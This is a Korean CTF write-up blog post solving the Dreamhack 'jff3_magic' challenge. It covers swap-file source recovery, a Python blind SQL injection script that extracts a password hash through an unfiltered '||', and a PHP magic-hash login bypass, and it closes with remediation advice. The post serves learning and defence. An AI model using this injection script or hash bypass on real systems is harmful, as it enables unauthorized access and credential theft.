본문 바로가기
드림핵

[드림핵][wargame.kr] jff3_magic 풀이

by jwcs 2023. 8. 9.
728x90

https://dreamhack.io/wargame/challenges/338

 

[wargame.kr] jff3_magic

Description text This challenge is part of Just For Fun [Season3]. thx to Comma@LeaveRet

dreamhack.io

 

매직해쉬 관련 문제이다.

 

페이지를 열 때마다 이런 알림이 온다. 페이지가 현재 공사중이라고 한다. 힌트가 swp이다.

swp 파일은 vi 편집기에서 작업을 하다가 정상적인 종료를 하지 않은 경우, swp 확장자 파일이 생겨난다.

swp 파일은 사용자의 의도와 무관하게 예기치 않은 종료로 파일이 손상, 유실되는 경우를 대비하는 백업의 성격을 띈다.

 

따라서 현재 문제에서는 서버 업데이트 중에 swp 파일이 생겨났다는 출제자의 의도인 것 같다. swp 파일을 확인해보자.

 

사이트를 둘러보니 index.php 페이지가 보인다. swp 파일의 형식대로 작성해보면 .index.php.swp이다. index.php 대신 url에 입력해보자.

 

그럼 index.php.swp 파일이 다운받아졌을 것이다. swp 파일을 복구 시켜보자. 필자는 칼리 리눅스에 해당 파일을 옮겨서 

vi -r ./.index.php.swp

명령을 통해 복구해줬다.

:w [filename]

을 통해 저장해주고 읽기모드로 파일을 읽어주면 편하게 문제를 풀 수 있다.

 

이렇게 말이다.

 

중요해보이는 부분만 뽑아왔다. 서버에서 get메소드로 'no' 라는 변수값을 받아온다. 페이지에서 확인해보자.

no가 1일 경우 comma

2일경우 Cd80

 

3일 경우 orang이다.

 

이것저것 넣어보다가 0인 경우 admin으로 나오는 것을 확인했다.

 

문제에서는 이 no 값을 customfirewall()이라는 함수로 필터링을 거친다. 필터링에 걸리면 no hack이라는 창을 띄우고 아니라면

"select * from member where no=".$_GET['no']

를 통해 검색한다. 

 

로그인에 해당하는 php 코드는

id값을 mysqli_real_escape_string()을 사용하여  sql인젝션을 방지한다.

pw값은 암호화를 하는데, haval128,5를 통해 암호화를 한다.

 

id값이 admin이고 입력한 비밀번호를 haval128,5로 암호화한 결과가 저장된 비밀번호화 같을 경우 플래그를 출력한다.

그럼 취약점을 찾아보자.

 

취약점 분석

 

우선 no값을 넣는 곳은 커스텀 필터링이기때문에 취약점이 존재할 것으로 판단된다. 실습 결과 

or는 필터링이 되어있지만 || 는 필터링이 되지 않았다.

-1과 같이 no값이 존재하지 않은 경우를 넣을 경우 검색되는 값이 없어 일반적인 index.php가 나오지만,

 

다음과 같이 ||이 필터링이 되지 않은 것을 이용하였다. 수식을 넣어 뒤에 식을 참으로 만들어주면 첫번째 인덱스 값으로 추정되는 admin을 반환해준다. 이를 통해 blind sql 인젝션이 가능해보인다.

 

import requests

url="http://host3.dreamhack.games:14219/"

pw_len=32
while(True):
    query=f"?no=-1||length(pw) = {pw_len}"
    res=requests.get(url+query)
    if "admin" in res.text:
        print(pw_len)
        break
    pw_len+=1

pw_temp=''
password=''
for j in range(pw_len):
    for i in range(48,127):
        query=f"?no=-1||pw like concat({pw_temp}char({i},37))"
        res=requests.get(url+query)
        print(url+query)
        if "admin" in res.text:
            password+=chr(i)
            pw_temp="\'"+password+"\'"+","
            print("[현재까지 찾은 비밀번호] "+password+'_' * (31-j))
            break
print("[찾은 비밀번호] "+password)

다음과 같은 코드로 비밀번호를 찾아보았다.

 

다음과 같이 출력되는 것을 볼 수 있다. 일반적인 경우 암호화된 비밀번호이기 때문에 이를 활용하기는 쉽지 않다. 하지만 해당 비밀번호는 다르다. 매직 해쉬 형태의 비밀번호이기 때문이다.

 

매직 해쉬란 비교 연산을 할 때, type juggling을 통해 서로 다른 값이 같은 값으로 인식되는 동작이다.

느슨한 비교를 할 때 발생하는 취약점이다.

 

php는 type juggling, 다시말해서 형변환을 통해 비교할 때 최적의 자료형을 찾는 것이다.

그 순서는 int > float > string 이다. 형변환시 int로 형변환하는 것이 1순위이다.

 

예를들어 '1' == 1을 한다면 string 자료형이 int로 형변환되어 비교가 되는 것이다.

'1.5' == 1 의 경우 float으로 형변환 된다. 1.5가 string -> float 1이 int -> float이 되는 식이다.

 

우리가 발견한 비밀번호는 0E~~~~~~~~인 형태이다. 이를 바꿔 살펴보면 0 * 10^~~~~~~~~인 형태이다. 따라서 float형태로 인식하여 비교가 된다. 자세히 보면 0을 곱하기 때문에 ~~~~~~~~의 값이 숫자이기만 한다면 어떤 값이 나와도 결과는 0이 된다. 따라서 실제 비밀번호와 값이 다르더라도 위와 같은 형태라면 true를 반환할 것이다.

 

이런 매직해쉬를 정리해논 깃허브를 공유하겠다. 참고하길

https://github.com/spaze/hashes

 

GitHub - spaze/hashes: Magic hashes – PHP hash "collisions"

Magic hashes – PHP hash "collisions". Contribute to spaze/hashes development by creating an account on GitHub.

github.com

 

우리가 찾는 haval128,5 페이지로 들어가서 아무거나 골라주자.

 

이것을 이용해 로그인해주면

짜자잔

 

취약점

 

-커스텀 방화벽으로 || 혹은 concat과 같은 것들을 필터링하지 못함. 따라서 sql 인젝션이 가능

-매직해쉬 취약점이 발견됨

 

해결 방법

 

-입력값 검증 수단 강화.

-no의 자료형이 int형인 것으로 추정됨. 이를 검색하기 위해 큰 따옴표 밖으로 $_GET['no']가 위치해있는데, 이럴 경우 작은 따옴표나 큰 따옴표를 입력해주지 않아도 concat과 같은 함수를 사용할 수 있었다는 것을 느낌. 따라서 보다 쉽게 익스플로잇 코드를 짤 수 있었음. 문자열 자료형으로 바꾼다면 작은 따옴표나 큰 따옴표 이스케이프를 sql인젝션을 막기에 좀 더 용이할듯

-느슨한 비교(==)를 통해 매직해쉬 취약점이 발생했음. 형변환을 통한 비교를 막기 위해 엄격한 비교(===)를 사용해주어야 할듯

728x90
반응형

'드림핵' 카테고리의 다른 글

[드림핵] random-test 풀이  (0) 2023.08.29
[드림핵][wargame.kr] fly me to the moon 풀이  (0) 2023.08.13
[드림핵] amocafe 풀이  (0) 2023.08.02
[드림핵] login filtering 풀이  (0) 2023.08.01
[드림핵] php - 1 풀이  (0) 2023.07.24